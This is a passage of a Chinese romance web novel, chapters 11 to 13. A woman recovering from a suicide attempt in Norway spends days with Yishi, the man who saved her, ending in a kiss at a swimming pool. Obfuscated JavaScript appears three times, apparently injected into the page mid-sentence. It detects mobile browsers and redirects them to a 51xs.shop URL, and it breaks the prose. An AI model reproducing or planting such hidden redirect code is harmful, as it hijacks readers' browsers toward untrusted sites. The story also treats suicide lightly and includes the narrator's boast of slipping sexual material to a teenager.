他总共买了一件鹅绒外套,一件中领条纹毛衣,一条牛仔裤,甚至还有一双看起来很暖和的靴子。他每拿出一件,我心中的惶恐便多一分,拼命压制着期待,他笑话起人来可不是盖的。 “过来试试。”他说。 胸膛仿佛有一阵狂风掠过满山遍野的海棠花,掀起滔天花瓣雨,我几乎要晕过去。 结结巴巴的句子从我嘴里吐出来:“我……我付不起。” “付?”他重复我的话表示质疑,“拉倒吧,我送你了。” 这不好吧?我在心里谦虚,然而嘴角已经压不住笑,被他看穿了个彻底。 “嘿,把尾巴收起来。”他把毛衣抛进我怀里,“快穿上。” 我摸了摸毛衣的质感,一点儿也不扎皮肤。到此为止,我还是有一点不相信他就这样给我买了一套衣服,于是抬头观察他的神色。可他好像误会为闲杂人等非礼勿视,举起双手做投降状,背过身说:“行,我去洗手间。” 我穿好衣服,如他所说的那样,我的身材板比他认为的要瘦削,仿佛承受不住严重浸水的衣物却依旧在吃苦耐劳的衣架子。我抚平袖口,打理了两下头发,然后走过去敲响洗手间的门。 他靠在门框上,脸上只见清淡的色彩,随意地鼓掌:“好极了,我希望你能看在它们合身的份上别再用海水糟蹋了。” 他说合身,那就合身吧。 晚上我依照健康的作息入睡,虽说仍旧在闭目半小时后神经开始紧绷,双手出现轻微的颤抖,但睁开眼看见伊实挤在狭小的沙发里睡得正香,便也放宽心继续睡觉。 第二天清早,我被抽水马桶的声音吵醒,这是很难得的,一般来说天微亮的时刻我就会自然醒(这儿的清晨天空连微亮都算不上),能够被人文元素弄醒真的非常难得。 伊实从洗手间走出来,下巴挂着水滴,一边吩咐我穿衣服,一边抽了两张卫生纸擦脸。等他出去办出院手续,我才有所动静,在病房里找时间,未果,这也没个钟。 我穿好衣服,坐在病床上默默等待。他买的靴子大小正正好,怎么晃也不会掉。 给我办出院的还是昨天那位护士,她一见我就露出亲切的笑,我也条件反射地弯起眼睛,不让任何一种正能量掉地上。在她靠近我的间隙,我找到机会从她的腕表上看来时间——我昨晚至少睡了九个小时,开香槟庆祝! 护士走后,伊实突然捏起我的脸蛋,导致我的嘴巴呈“O”型。他翻来覆去地看我,神情探究,我正纳闷呢,听见他说:“和那护士眉来眼去什么呢?” “……” 别人不对你笑怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572860|142981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不在自己身上找找原因呢。 好消息,卧床一天后我的呼吸变得轻盈,对身体的感知有所增强,也就是说,我立刻就被一双废脚疼得死去活来。从病床走到门口,我硬是冒出了一身冷汗,明明涂药膏之前还没这么疼的…… 我搀扶着墙壁,伊实走在前面,双手无所事事般插在兜里,我几乎望眼欲穿,又不好意思开口要他麻烦。 他盯了我好一会儿,“干嘛走得像个企鹅?” “……”我指了指双脚,说:“它很痛。” “天呐!”他故作夸张,夸张得不得了,“你还能感觉到痛呢!” “……”我就说他是阴阳怪气的一把手吧。 他蹲下来,用那双我本望眼欲穿现在避之不及的手戳弄鞋面,坚持不懈地问:“哪儿痛?这痛?还是这痛?” 我缩回脚,忍住不爽的情绪,绕过他继续往前走,哪怕是十万八千里我也要走给他看,同时为方才竟然想要他帮忙的想法感到蒙羞。 可没走两步,一股风从我身后划过,顿时间双脚腾空天地旋转被人横抱起来,眼前出现走廊的天花板和他的半张脸。我差点惊呼出来,手不知道放哪儿,只能愣愣地由他抱着。 他睨了我两眼,脚步停下,我又被竖了起来,双脚重回地面,莫名其妙的。我望向他身后,丈量他替我走过的路,也就五步,五步啊,他的良心只有五步,也怪不得我没反应过来。 “嘿,上来。” 他不知道什么时候蹲了下来,一下子比我矮了。宽厚的脊背向我敞开,坦白的后颈不设防,仿佛我就此咬上一口他也毫无还手之力。我当然没有那样做,而是慢吞吞地趴了上去。与其说是慢吞吞,不如说是僵硬,我根本不知道怎么爬上别人的背,手怎么放脚怎么放我没读过说明书所以做的乱七八糟。 当他架起我的双膝时,我的脸蛋烧得快熟了,脊柱像岸边芦苇草一样东倒西歪,重心这东西无处安放。 在我的认知里,“背”是仅次于“抱”的最亲密的动作了,有时候可能比抱还要亲密。一个人的重量完完整整地交给另一个人,一双臂弯与一双腿.交.缠,耳鬓厮磨,看不见对方的表情,却能听到对方的心跳,克制着距离像是同床异梦,可是你逃不开也飞不走,两个人只有一种脚步。 “伊实……”我发出微小的声音,试图缓解已经充血到快要爆炸的尴尬。 “怎么?”他头也不偏地说,脚步稳健,看样子没有我的烦恼。 我啃起嘴皮,这时候的矫情可真是不可理喻,见过大风大浪的人怎么见了小雨点反而走不动道,还能怎么总结,不就是一个可怜人没尝过什么甜头所以一根棒棒糖就让她不知所措晕头转向找不着北了吗。 可是,可是,他的背真的很宽啊! “伊实。” “又来?怎么了?” “你忘记给我买内裤了。” “……” 这下,他总算是偏过了头。 11. 第 11 章 多亏了他毫不怜香惜玉的一巴掌,我的嘴巴在我屁股上那股羞愤的疼痛感消失之前都不会再张开了,全程灰头土脸直到他把我丢进车里。 医院里外简直是两个世界,空气是死是活一呼吸就能分辨出来。我双手抓着安全带东张西望,像只狗一样乱嗅,伸出车窗外嗅。这里有许多空荡荡的木架,既不美观又占空间,还一股味,跟我奶奶家附近那片长了草的废弃公园一个样,娱乐设施全都生了锈,跷跷板底下长蘑菇,存在的唯一意义就是告诉人们这里的童年不复存在请绕道而行。 鱼腥味和铁锈味从某种程度上来说有一样的效果,我以为这些木架也是被废弃掉的,然而伊实告诉我,它们是用来晒鳕鱼的,一月到四月是鳕鱼回游季,这里马上就要挂满鳕鱼的尸体了。 “哦。”木架子在我的视线里慢慢变小,我依旧远远地望着,说:“你懂的可真多。” “当然了,我在挪威生活了三年,挪威语不会说,鱼还不会抓吗?”他眉尖透露着自信。 这一片风景过去,便是重重雪山,一层又一层像水墨画又像皮影戏,有公交车开在路上,每过一道弯都要露出笨重的样子,道路比较窄,我们没有办法超车。 错落的线条在车窗上起伏,伊实昨日是怀着怎样的心情将这趟乏味的行程走了两遍的呢。 雪山之后,我们驶向一座长桥,出了一丁点太阳,只有一丁点,斜斜照射下来,海平面宽阔且慷慨,不会让人觉得困倦,反而安逸得想要伸个懒腰。 “累了?”他问。 我摇头,反问:“你呢?” “有点,想抽支烟。”他摸了摸脖子,筋骨僵硬,或许昨晚他其实并没有睡踏实,我不知道他什么时候醒的。 我指向前方一座三角房顶的建筑,说:“在那里停一会儿。” “怎么,你要进去做祷告吗?”他随口说,见我不吱声,用余光瞥了一眼,补充道:“那里是教堂。” 我缩回手,“我不信仰这个。” “我也不信。” 当我准备继续寻找能够落脚的地方时,他又说道:“好极了,去教堂,让神惩罚两个不知天高地厚的人类,然后打入地狱。” 他说到做到,车子停在了教堂前的空地上,他解开安全带下车,火急火燎地抽起一根烟,静静地靠在车门上。我也下了车,向前打了个趔趄,赶忙找什么东西扶住,最后是一副懒散趴在车头的模样。 远看时看不出教堂的高大,此时身临脚下,需屏息仰望,竟感到一股排山倒海之势。这里没有大人,当然,我指的是除了我和伊实以及教堂里凝视着万千人类的那位,只有小孩们围在一圈,在地上画图案。 我听不懂他们的话,但能听懂他们的笑。我走过去,走得非常缓慢非常艰难,一个小女孩注意到我,一双湿漉漉且坚毅的眼睛一直盯着我。我在离他们三四步远的地方停下,盘腿席地而坐。 我用手指在地上画了一个卡通人像,头戴蝴蝶结身穿蓬蓬袖的白雪公主,这是我引以为傲的代表作,每一笔都滚瓜烂熟,一有机会我便要展示一下,起雾的玻璃上,沙地里,还有眼下的雪地上。至于为什么,只是因为无聊。小学班主任无缘无故地交给我一张4开大小素描纸和三只铅笔,按着我的肩膀说我画画很棒完全能够参加比赛,照片都准备好了我只需要照着画就行,一定可以的。我受宠若惊,懵懵懂懂地接受,从没怀疑过她是怎么看出来我画画很棒的,那张白雪公主人像图我画了一张又一张,班主任交给我的素描纸我到最后都没舍得用,比赛有没有参加我忘了,大概班主任也忘了自己委托过我这件事。 我其实画画很糟糕,但白雪公主的侧脸,半张的嘴唇,身姿倾斜的弧度,我可以画得很完美(所谓完美,仅仅指的是和原图画的大差不差)。作画结束后我把指尖塞进嘎吱窝下取暖,这时白雪公主的周围已满是小孩子的脚印。 “我画的漂亮吗?”我对上那小女孩的视线,笑着问。 他们互相对视,窃窃私语,最终派出一名代表说话——我才知道他们的英文口语水平跟我不相上下。 “你是谁?你来自哪里?” 我配上肢体语言,回答:“我来自中国,坐飞机来到这里,现在和那个男人住在一起。” 他们又互相讨论着什么,我按捺不住,指着我的画又问了一遍:“我画的漂亮吗?” 他们像七个小矮人一样绕着白雪公主和我观摩了一圈,终于给出我想要的答案。 “所以你是画家吗?”他们在我身侧蹲下,“你还会画什么?” 我又画了一只雏鸡,一只大象和一只猪,画风天差万别,惹得小孩们咯咯笑,还以为我是故意走滑稽抽象流派。我也跟着笑起来,做鬼脸模仿我的雏鸡、大象和猪。即使语言不通,我和他们依旧玩得不亦乐乎,最后成了打雪仗。 我躺在地上,笑得眼泪都出来了,迷恋着不愿起来,但愿就此沉进地下。 “真舒服啊……”我低声喟叹道。 如果你有幸走进集市里的话会发现,很多东西在你搞懂它是什么有什么意义该怎么面对之前就被拿出来卖了,很多主张也是一样,从哪个方向刮来一阵风就给吹得满大街都是。在我理解规矩之前,它们已经化成一条条绷带缠住我的手脚甚至喉咙,直至我在狭小的缝隙里发现名为“自由”的种子。 可惜种子太小了,我花了好大的功夫才把它取出来,付出了很多时间吃了很多苦头,等我想要开始培育这颗种子,才发现自己两手空空连个水壶都没有。 于是种子自然生长,既然它名为“自由”,不就得自由地生长吗?我能做的就是替它打掩护,继续和蛮不讲理却名为“道理”的绷带纠缠。 一年又一年,“自由”扎根了,长高了,枝条一根又一根,与我最初的想象大相径庭,阴影快盖住我的前半生了我才知道那原来是“罪孽”。 大地啊,如果我有什么做得不对的地方,请尽情埋葬我。 笑声逐渐远去,我的心还在为白雪公主狂热地跳动,脸颊流下融化的雪水,好不畅快。 伊实终于走过来,和那座直冲云霄的房顶一样从天空俯视下来,用鞋尖轻轻踢了踢我折成风车叶子形状的双腿。 “Happynow?” 我听出了一丝威胁——糟糕!衣服! 算了。没关系,正是管不住精力的年纪,东跑西蹭后虔诚地给他下跪就好了。 我歪了歪脑袋,问他:“我看上去丑吗?” “?” “你把我从海里捞上来,比那时候丑吗?” 他蹲下来,双肘搭在膝盖上,表情漠然。 “丑,都丑。” “……”我偏过头去,不爱听。 恰好一只飞鸟从我上空掠过,我的注意力被叼走,仿佛找到了新的玩伴,这一领域不存在什么种族隔离,我相信能和它们玩到一起。 可偏偏有个同类要插足,伊实竟然闷哼一声直接躺在了我身边。我侧目看去,他像一块温热的煤炭子,冒出来的烟薄而凉,岁月静好地烘烤整片天。 他双手枕在后脑勺,语气是罕见的和气:“有时候你不能跑太快,谁也追不上。” 我沉吟了一会儿才回答他:“我其实不擅长跑步。” 他又用鞋尖踹了我一脚,不痛,但我是时候换个姿势了。我翘起了二郎腿。 “你很喜欢小孩子吗?笑得和唐老鸭一样。”他问。 “老实讲,一点都不,我反而非常害怕他们。” “看不出来。” “你一直看着我吗?” “也看了一会儿小孩。” “大部分时间是在看我吧?” “看你笑得跟唐老鸭一样。” 我也踹了他一脚,随后傻里傻气地大笑起来,一股土生土长的兴致在我的胸腔旋转跳跃。笑声回荡在空中,的确有唐老鸭的风韵,呕哑嘲哳难为听,我笑得根本停不下来,怎么会有人笑成这样,原来是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“告诉你一个秘密,天大的秘密。”我用中文说道,开了嗓子的音色就是不一样,仿佛有个留声机在我的喉咙里起到过滤作用。“我这个人真的很装,做事之前总要意.淫一下旁人的反应。但我也很坏,心机不离不弃。我爸总让我给他那俩儿子辅导功课,我心里不情愿,明明我也有功课要做,我也要当个尖子生在邻里间大出风头然后害羞地说这没什么,但我最后还是答应了,没法不答应,未成年人保护法里没有写子女受到精神虐待该怎么办,成年后更不用说,连未成年人保护法也保护不了我了,所以我硬生生给那俩畜.牲当了近十年的辅导老师。哈哈!妈的,怎么没人给我评个高级教师!” 他当然理解不了,却也没说话,而是支起身子,坐在地上堆雪球,见我歇了喘口气,还贴心地回过头提醒我:“Goahead.” “OK!”我比了个手势,继续打小报告。 “我给大畜.牲辅导英语,给他的英语资料里加了点小料,那个时候他16岁吧,还是多少岁,哈哈哈……”说到一半又开始傻笑,一想到自己干的好事就忍不住偷乐,“反正那个年纪的男生都管不住手脚,第二天我一看他的脸色就知道他把小料当正餐吃了,我问他怎么了,他还支支吾吾地不肯说,笑得我一跟头! “哎哎哎!还有那小畜牲,更好笑!”我讲得正上头,扒拉起他的衣角,忘记他根本听不懂我的报告。 他瞥了我一眼,又回去专心堆他的雪球,已经有一个足球那样大了。 “那小畜牲脾气爆得很,而且智商极其低下,蠢得要命,连他亲哥也嫌他烦。不知道谁给他灌输的不良思想,觉得世界上所有人都是他的仆人。人在十分无语的时候是会笑出声的,我在他面前就是,想想猴子也没这样腐烂的大脑吧,人之初性本乱七八糟。” 一个劲地自我陶醉也不是个事儿,我撑起胳膊,凑到他身边问:“Whatareyoudoing?Cake?Oh!Isee!Okay,youbethemom,andI’llbethedad!Let’sdoaroleplaygame!” “ShuttheFu——” “I''''msorry.”我打断了他的粗口,在他上齿还咬着下唇的时候立即举手投降。 “……” 那双深邃的眸子盯着我看了好一会儿,就在我以为他要把我的头塞进足球那样大的雪球里时,他居然只是叹了口气,起身拍了拍裤腿,然后一脚踢开雪球。他堆得并不扎实,雪球滚几下就散架了,一抔小山似的死在那儿。 “玩够了吧,走吧。”他说。 我只好起身,不再吵闹,乖乖地跟在他身后,暗自揣测那声叹气的含义。 12. 第 12 章 我开始对伊实有一层“大善人”的唯美滤镜,之所以说是滤镜,是因为我的另一半大脑清楚地知道他的所作所为离所谓“大善”还有很长一段距离。他能够拧一下眉头然后斩钉截铁地进卧室睡觉,我肚子饿得受不了好不容易鼓起勇气敲门,他装作没听见。我心想他是累了,光是收拾我凭空造出来的烂摊子就有够浪费时间和精力的了,同我一样睡上个半天也是理所应当。 既然如此,用手艺来报答的机会就是现在。生前和他一起买的食材还新鲜——这是我的恶癖,每每自杀后都要称那个时间点为“生前”,显得我好像成了幽灵事事无忧无虑——冰箱一打开扑面而来一股匆忙感,毫无秩序。我取出食材,收拾厨房,琢磨调味料分别哪个是哪个。 久违地给人做饭,手法并未生熟。腌好的肉块下油锅时发出呲啦呲啦的声响,我起了鸡皮疙瘩,哼小曲儿有条不紊地盖上锅盖。把时间花在料理上是一件很有人情味的事,贴近生活,无论你是随心所欲地做还是掏心掏肺地做,都是一种活法。因而我的步伐才会这样朝气蓬勃,撒盐倒酒的动作这样干脆利落。 对于自身的手艺我不敢高呼大厨,但气质上自我感觉良好,和菜品容易看对眼,会细心擦掉餐盘边缘不美观的油渍。土豆炒鸡,葱油豆角,番茄炒鸡蛋,培根生菜卷,肉馅煎饼,白菜豆腐汤,满满一桌,如果有米饭那就更完美了,可惜厨房连个电饭煲都没有,更别说大米。我想他大概也不好那口,不做也无伤大雅,决定用煎饼代替主食。 我再次敲响卧室的门,并且从门缝中送去声音:“嘿,你醒了吗?我做了点晚饭,你要尝尝吗?” 回答我的是一阵沉默。这都好几个小时了,他到底是睡觉还是昏迷,睡觉不好现在睡了晚上肯定睡不着,昏迷也不好这么久了肯定要出事,无论哪种情况,都迫使我擅自作主进去看看。 我按下门把手,成功打开房门,看来他并未因为我的存在而设防,分明我刚来那会儿他还疑心重重地对我紧盯不舍。 “Excuseme……”我发出微弱的气声。 床上趴着一具山脉,他准是脱了上身衣服倒头就睡,卫衣被随意地丢在床边,背部肌肉随着他的呼吸而起伏,滚烫得十分具象,似乎马上要火山爆发。 我上前推了推他,没反应。用力推了推,还是没反应。 好吧,没有口福。 我自然不会强人所难非得给他拉起来吃我做的菜,等的了就等,等不了就撤,很爽快。然而就在我转身离开之际,大腿忽地被一只壮硕的手臂勾住,不由得节节后退,踉跄着倒在床上。那块最敏感最柔软的肉被缰绳一样紧实粗糙的玩意儿捆住,我犹如跑进捕鼠器的老鼠,来不及自认倒霉就已经命在旦夕。 他半张脸埋在被子里,另半张脸朝着我的小腹,模糊开口:“做什么?” 我试图往床边挪,发现留给我的余地不多。 “你睡了很久了。” “嗯。”他眼睛仍未睁开。 “真的很久。” “几点了?” “七点、半,呃,应该。” 他疲惫地滚了半圈,另一只手也环了上来,抽干空气的真空袋似的不断抱紧,青筋显现。天老爷,那是人类的腿,实打实的碳基物体,有肌肉有脂肪有水分,和棉花娃娃差远了,再挤我该喊疼了。 “你怎么了?”我其实想问你有什么毛病,但语气硬不起来,听上去就显得人很木讷。 “嗯……” 他眉头紧皱哼了哼,眼看要埋进我的肚子里,我立即胆战心惊地推开了。首先,我没有好为人母的癖好,其次,很痒。 被拒绝了他肉眼可见的不高兴,松开大腿又滚了半圈,我因祸得福重拾健全的四肢。 “别来烦我。”他甩出一句话。 “……”我觉得他在倒打一耙。 天大地大房东最大,既然他都发话了,我也省得虚情假意再推搡几个来回。菜吃剩了可以放冰箱,味道没了那就是真没了。我蹑手蹑脚地走出去,轻悄悄地关上门。 多好的菜啊!煎饼一口咬下去肉馅的油汁渗进碳水化合物的那瞬间多么令人舒坦,再来一口土豆炒鸡一起嚼更是无比美妙,番茄炒蛋不用说了,刻在我DNA里的一道菜,怎么炒都好吃,豆角脆脆的,生菜包培根不失韧性……还说什么呀!不敢称大厨,太谦虚了!我就是大厨! 嚼嚼嚼,伊实没福分,嚼嚼嚼,之前还惦记着要我做中国菜呢,现在什么都比不上睡觉,嚼嚼嚼,可是,他不吃,谁来夸我是大厨呢? 我还是站了起来,却一点儿也走不动道,方才吃得生猛,噎在喉咙里有点难看。 “你喜欢站着吃饭吗?”没想到他未请自来了。 我欣喜,咀嚼的速度加快,咽下去最要紧。等他都坐上餐桌了,我才脱离哑巴着急的苦海,展示道:“这些都是我做的。” 他抬了抬眉毛,就近徒手抓起一块煎饼。我殷勤地给他盛汤,黄婆卖瓜个不停:“你试试这汤,很新鲜,如果你觉得油太多了话,喝这个汤就很合适。”他要是听得懂中文就好了,我就能用“解腻”二字概括。“还有这个,这个也好吃,你必须都尝尝。可惜没有米饭,不然这些菜能更好吃。中国的大米特别香,你有机会去中国的话一定要尝尝。怎么样?” 我等待他的评价,这对我非常重要。我盯着他下垂的眼眸,细数他咀嚼的次数,观摩他吞咽的动作。拜托了,一定要说好吃。 他吸了口汤,良久才抬起眼睛回应我的目光,深邃的蓝色瞳孔凝固了饭菜的热气,一股浓情排闼直入。我心想,要不说西方人的罗曼蒂克风味是浑然天成的呢,他若用这样的眼神将我从头看到尾,我肯定要作揖感谢他的临幸。 “你在等什么?”他就那样目不转睛地看着我,嘴角有了戏谑笑意,罗曼蒂克的氛围顷刻化为泡沫。 我也直白:“等你的夸奖。” 他慢悠悠地吃进一块鸡肉,说:“你想我怎么夸?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572862|142981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 钓呢。我腹诽道。 “你得夸。” “没说不夸,我在问你,想我怎么夸?” 我皱起眉头,不高兴挂上了脸,问:“它们尝起来怎么样?” 他随意地答:“不赖。” “这不是夸。”我不满地撇嘴。 “还没夸呢。”他说,句式简朴到我反而转不过弯来。 他微微欠身,短促地笑了一下,盯着我说:“你真是个完美的女孩,烧得一手菜,脸蛋那样可爱,走路和花栗鼠一样,生气的时候又变成了竖起全身毛的猫。还有什么,还有你的脑袋瓜,很聪明,知道什么都无能为力却还是靠着世界大战残余的硝烟保持人体温度,这是一种暗喻,你听得懂吗?你的语言不如我认为的那样好,我就说得简单些吧,你很完美。” 我傻傻地任由他的声音拿我当沙袋锤,抑或是捏泥巴,总之我的表情被蹂躏得通红。 好一会儿我才能够出声:“有点恶心……但是,谢谢你。” 他嘴角咧开,笑意更盛,很满意我被逗得面红耳赤。 “活力四射呢。”他拿腔拿调地说。 我埋下头吃饭,“有吗?一点点吧。” “嘿,想不想出去玩?” “去哪?” 他挑了下眉故弄玄虚:“过两天你就知道了。” …… 伊实的住宅比我想象的还要偏僻,这天他交给我一个背包,带我坐上了大巴车,车里的孤僻浓度令我幻视有好多个我坐在不同的位置上。我悄声问我们要去哪儿,伊实命令我闭嘴睡觉。 我没有睡着,我看到一片海边坟墓,戳了戳旁边的伊实,指给他看。 他低下头在我耳边问:“怎么?想进去?” 我很有礼貌:“CanI?” “……”他感到无语,但对此竟然纵容下来,没有简单粗暴地叫我闭嘴打发了事。 我趴在车窗上注目好一会,他突然伸出胳膊,绕过我的后方,半环住我的身体,指向远方指甲盖大小的墓碑。 “那些人,就是你现在看到的那些人,以死亡的名义留在这里,并非全为土著。很多人一边叛逃到这里,一边盼望有人能拿着花束迎着风走进他们最后的栖息地低头怀念。”他的气息洒在我的耳畔,不重,却震得耳蜗酥麻。“挪威时常处于不光彩的季节,他们见不到太阳,他们没想要的,这个世界没给,他们想要的,这个世界也没给。你觉得呢,觉得主动挑一块尺寸合适的墓碑就能够不被人践踏了吗?你应该知道的是,”他停顿了一下,我回过头,与他四目相对,“Theendunfolds,notformed.” Theendunfolds,notformed. 如此晦涩难懂。公交车门开了又关,一缕缥缈绵长的微风拂过他的眼睑。而我不懂装懂。 “我们在哪一站下车?”我问。 他收回手臂,抱在胸前,说:“下一站。” 13. 第 13 章 原来,他一直不肯透露的,导致我硬生生揣测了一整天的地方,是游泳馆。哪怕是依山傍水的人造温泉也好呢,竟然只是一个泳池。 他叫来一位染黑头发的女服务员招待我,她给了我一件小码的连体泳衣,帮我带上泳镜和泳帽,还一个劲的安慰我,虽然我压根听不懂她到底在安慰些什么,欺负我不会说话嚒。 我确实不会说话,双脚被硅胶袋严丝合缝地包裹了起来,她架着我的胳膊把我放进水里的时候,我像个哑巴一样只会挥手。仅仅是没过脚踝,我就已经想逃回更衣室了。 她不断说着“it’sok”,天老爷,哪里ok了,没看到我脸都青了吗。我就这样被押送到场馆内,伊实向我招手,旁边站着一位穿荧光绿沙滩裤的老头,二人笑吟吟地目睹我寸步难行。 那老头拍了拍伊实的肩,视线集中在我身上,沙哑的老嗓子说道:“这就是你在电话里说的Chinesegirl?她几岁了?看上去没成熟!” 伊实哼了一声,“她的眼神可不乖巧。” 我眉头紧闭满含怨怼,真想实实在在地给他鼻子挥上一拳。 伊实介绍道:“这是布鲁克,和你说过的,那个解决我衣食住行的老好人,每个月领的退休金花都花不完。”然后又给布鲁克介绍:“这是我捡的厨师,她没名字没脑子,前些天还企图跳海归西,但是做得一手好菜。” 布鲁克咧开嘴对我笑:“多么勇猛的猫。” “……”印象里周围人对于我自杀的事迹总是避而不谈,忌讳再提起刺激我的话,要么就是我的病友们一个个都有那样的光辉史,习以为常而已。而在伊实嘴里,成了需要羞愧一辈子的黑历史,我不得不感到汗颜,反省自己怎么就做了那样的蠢事给他留下笑柄。 伊实勾住我的肩,问:“会游泳吗?” 我下意识点头,又慌乱地拼命摇头,盯着他瞳孔放大。 “别担心,水不深。” “我不想去!”我低吼道。 他可不轻易放过我,见我不肯走,索性横抱起我,大步走向泳池边。 “好啦好啦,别像个泥鳅,游给我看好吗?这件泳衣很适合你,游得好的话我就买下来送给你怎么样?” 说着,他大臂一挥给泳池抛去一具心如死灰的身体,我的惊呼被掺和了消毒剂味的泳池水堵住,而模糊视线里穿短袖的白发家伙正蹲在岸边看好戏。 我像个被扒光羽毛的鸭子在水里瞎扑腾了一会儿,很快找回游泳的本能,仰头换气游到泳池边,双手搭在岸上大口呼吸。 “干得漂亮宝贝!”耳边传来轻浮的声音,我的下巴被抬起,他说:“允许你多游一会儿,像刚才那样,保证能过足瘾。这可是我特地拜托布鲁克找的场地,好好享受吧!” 特地?那可真是感激不尽,我脑子是坏掉了,但还不至于由一个外人摆弄我的关节替我自怨自艾。 他起身走向端着两杯水果饮料的布鲁克,我企图爬上岸,他突然回头又说了一句:“Bytheway,结束以后有免费牛排吃,布鲁克是这里的尊贵用户。” 免费?我撑起的手臂缩了回去。我对免费的东西没有抵抗力。 一整个下午,我把五十米长泳道颠来倒去地游了几十遍,心肺遭到了前所未有的考验,每当我精疲力竭地上岸,没坐多久,伊实那张吃了大蒜也比不过的臭嘴便急急催促我下水,如果我没反应,他就要亲自上阵。我被丢个两三次记性自然就长出来了,他也不是非要看我化成一滩烂泥的模样,他和布鲁克有说有笑,抽空,对,只是抽空监察我作为这一带水域的廉价劳动力有没有玩忽职守。 说真的,好像我是什么牛马,犁了三亩地那样心力憔悴。 或许成为蜉蝣更好——我飘在水面上想,仰望场馆的天花板,耳朵里进了水,一切声音在我听来均是沉沉浮浮——可是我运气不好,万一成了晚上的蜉蝣,黑灯瞎火地没怎么看清自然界就死掉了,不好。我想成为白天的蜉蝣,可以是阴天,也可以是雨天,不一定非要有太阳,因为白天能看清,而我生命那样短,来不及研究自然界的两面性就能死掉,是个经济实惠性价比极高的买卖。 唉,我偏偏是人。 我摘下泳镜闭上眼睛,压低重心往后靠,像棉花浸满了水,吐出几圈泡就此沉沦下去。 噗通! 水花在我附近炸开,一股力量拽开我的臂膀,拖住我的臀部,我下意识依附于滚烫的树干,咳出喉腔里的水。 我软绵绵地趴在伊实的肩头大口呼吸,泳帽早就被甩去不知道什么地方,头发湿答答地将我和他的脖子捆在一起,从我头顶流下的水滴进了他的背脊。 他仰头盯着我,脸色阴沉得可怕,一句话也不说,放在我腰间和背部的双手紧紧锁住。我分不清此时此刻震耳欲聋的心跳是因为心虚还是缺氧,总之我双唇颤抖不敢再呼吸。蓝色瞳孔里隐约刮起一阵暴风雨,他的视线从我的双目滑落至嘴唇,在我看来他好像眨了一次眼,暴风雨就停了。 周围的水花逐渐平稳,小心翼翼地荡漾着。他仍旧一言不发,哪怕是一丁点微弱的声音,只要他发声,我就能听见,我和他只有两厘米的距离。 两厘米已经非常近了。 一厘米的话又是怎么样。 零点五厘米…… 当他的舌头撬开我的牙齿,我终于听见了。 他说,你这家伙又犯蠢了。他说,不给你点颜色瞧瞧你得蠢到棺材里去。他说,救你一次就能救你第二次。他说,please。我总算是清晰地听见了那晚飘在空中无限重复的“please”。 我感受到他的胸膛与我一样雷声隆隆,震得掌心潮呼呼。他掠夺走了我的氧气,却渡给我比氧气更加令人亢奋的激素。上乘的吻技何尝不是一种麻醉,我身上的疲惫竟一扫而空,不过气力并没有因此完璧归赵。 我被动地甚至可以说是毫无作为地接受他的侵略,我关闭了所有的感官,在一片漆黑中抱着一块石头自愿沉入大海。 直到布鲁克在岸上嘲我们大喊“Gogetaroom!!”,他如梦惊醒迅速抽离,两个人的呼吸频率出奇地一致,加起来四只眼睛没有一只聚得上焦。 “还活着?”他哑声问。 我点了点头。 他举起我送我上岸,自己则撑着池畔干净利落地爬上来,三下五除二脱去短袖上衣,拧干水分时用力的肱二头肌和他的神色一样庄严肃穆。我默不作声地观察,对人类情绪的转变有着异常敏锐的嗅觉,闻到了他的躲避和心事重重。 一条滑稽的信息在我脑海里冒出来,今天是我给自己约定的第七天。别的且不论,我这时候应该满怀欣喜地奔赴另一个国度了,而不是在这里陪一个阴晴不定的俄罗斯佬和他上了年纪的富豪朋友玩水。但是别的不能不论,我只知道猛烈跳动的心脏一时半会儿停不下来。 牛排没有我预期的那样惊艳,我想这和空气中弥漫着朦胧的高档香水味脱不了干系。由于吃的不习惯,我将叉子刺入牛排的缓慢动作在旁人看来应该是相当优雅,百分之八十复刻了华尔街之狼的运筹帷幄。然而偷眼望去,停留在我身上的视线几乎没有,以上的自作多情只好被我用涂改液擦掉。 所有食物在伊实面前都活不过三秒,他从不管厨师精心设计的色相意义何在,也是,塞进嘴巴里之后眼睛也看不到。他咀嚼的时候太阳穴处的青筋会跟着运作,腮帮子满满当当,食料没怎么处理就吞了下去,样子神似远古时期的霸王龙。可是再怎么急性子的人也不是这个吃相,他显然心不在焉。 与他截然相反的我同样心不在焉,再优雅的人也不会含着一块肉忘记咀嚼。或许,两个心不在焉的人想的是同一件意外。如果可以称之为意外的话。 比我的自作多情更惨的是布鲁克,他讲了一大堆话没有人回应他,但他看起来不在意,与其说是两个人忽略了一个人,不如说他一个人排挤了两个人。这时伊实突然拿起水杯一饮而尽,将水杯重重敲下,口不择言地说了句“撒尿”,随后起身去了洗手间。 他一走餐桌立马陷入了难忍的安静,犹如衣领背后刺脖子的商标,我这才明白布鲁克并非自言自语,他只是不图伊实的回应。我顶着布鲁克探究的目光好一会儿,暗自祈祷他别把我变成替罪羔羊。 那是不可能的事,他那表情完完全全写着对我感兴趣极了。 “所以———”终究是来了,布鲁克托着下巴问:“你多大了?” 我咽下牛肉,说:“24。” 